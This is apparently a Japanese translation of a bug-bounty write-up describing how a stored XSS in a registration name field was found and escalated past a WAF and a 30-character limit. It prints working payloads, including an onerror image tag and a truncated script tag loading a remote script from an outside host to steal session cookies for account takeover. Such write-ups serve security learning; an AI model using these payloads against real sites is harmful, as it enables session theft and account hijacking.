How I Found My First Stored XSS || WAF & Characters Limitation Bypass から学ぶ

ソース:

kariiem.medium.com

脆弱性XSS、WAF

 

訳:

始まり方:

ターゲットへの登録中に、名前フィールドにペイロードを挿入しようとすると、フォームがエラー メッセージなしでデータの送信を拒否することがわかり。

そこで、これがフロントエンド保護であると考え、通常の名前で送信しようとし、Burp Suite でリクエストをインターセプトしてから特殊文字を追加し。

 

name= kario’”><

 

予想通り、これを回避することはできましたが、これらの文字が /profile エンドポイントの `HTML-entities` でエンコードされていることがわか。 

 

kario&apos;&quot;&lt;&gt;

 

どうせ自己XSSになるので放置することにしたのですが、アプリを探しているうちにエンコード なしで`Shared by kario'">< ` という大きなタイトルで他のユーザーとリストを共有できることがわかったので本編ここから来ます。

問題解決の技術:

名前の変更は禁止されているので、毎回新しいアカウントを作り。

まず、通常のペイロードを注入しようとして。

 

<class="nz oa ob"><script>alert()</script>

 

しかし、最初の問題は、WAFフィルタリング入力があり、403応答でリクエストを渡すことを拒否しているため、次のような代替ペイロードを試し。

 

<img/src=x+onerror=alert()>

 

 

XSSトリアージに成功したので、次のステップに進み、セッション Cookie を取得してアカウントを乗っ取ることができるかどうかをテストし。 

 

<img/src=x+onerror=alert(“document.cookie”)> 

 

 

次の問題は、バックエンドが名であることを考慮して最初の 30 文字のみを取得するため、最大の影響はアラートのみを表示することであり、影響の少ない XSS になり。

そこで、WAF をバイパスでき、名前の制限により 30 文字以下の長さの新しいペイロードを作成し。
最初に思いついたのは、次のように script タグの src 属性を使用して外部スクリプトを使用できることで。

 

<script/src=External_Script_URL></script>

 

制限により、終了タグ「</script>」を記述することはできませんが、終了タグを含む元のソース コードを利用して、ペイロードが挿入された場所の次の終了タグを、ペイロードを完了するために使用され。

 

<script/src=External_Script_URL>

 

 

このメソッドは、スクリプト タグ「<script>」の後に、タグ「</script>」の間にあるすべてのものを考慮して、引き続き終了タグが期待されるため、機能して。
これはナンセンスな JavaScript コードで。

問題はないようです。
あとは、ペイロードが適切に挿入されていることを確認するために、外部 JavaScript コードの長さが 17 文字以下のリンクを取得するだけで。

このスクリプトをホストするドメインがないので、検索したところ、XSSHunter が XSS を優先順位付けし、誰かが XSS の影響を受けているかどうかを追跡する外部スクリプトを提供しており、そのリンクは「 https://js.rip/​randomvalue123」 のようなものであることがわかりました。
の場合、設定でより短いファイル名を予約できるため、 1 文字「 https://js.rip/F 」制限を回避するのに十分な短い 」からこの一意のファイル パスを予約しました。
ペイロードは次のようになります。

 

<script/src=https://js.rip/F>

 

しかし、古い友人の WAF が 403 応答で戻ってきたため、物事はそれほど単純ではありませんでした。
試してみると、スクリプト タグに大なり記号「>」を記述できないことがわかり。

ただし、以前と同様に、元のソース コードを利用します。
つまり、大なり記号を記述しなかった場合でも、来るすべてが src 属性値の一部であるとみなして、タグを閉じるために「>」が期待されることになります。
次に大きい不等号「>」

 

<script/src= https://js.rip/F

 

 

<h1> タグが原因で URL が正しくないという問題が発生し。
この問題を回避するには、 URL パラメーター または URL フラグメント を使用して、最終的なペイロードが次のようになり。

 

<script/src=https://js.rip/F?test=
<script/src=https://js.rip/F#

 

 

これにより、URL が正しく保たれ、次に大きい記号「>」が見つかるまで、パラメータの値として渡されるものはすべて割り当てられますが、効果はありません。

フラグメントと同じで、ペイロードの長さを減らすために 2 番目の方法を使用し。

 

 

これですべてが完了し、取得した Cookie にはセッション Cookie が含まれているため、アカウントを乗っ取ることができて。

 

ほなほな。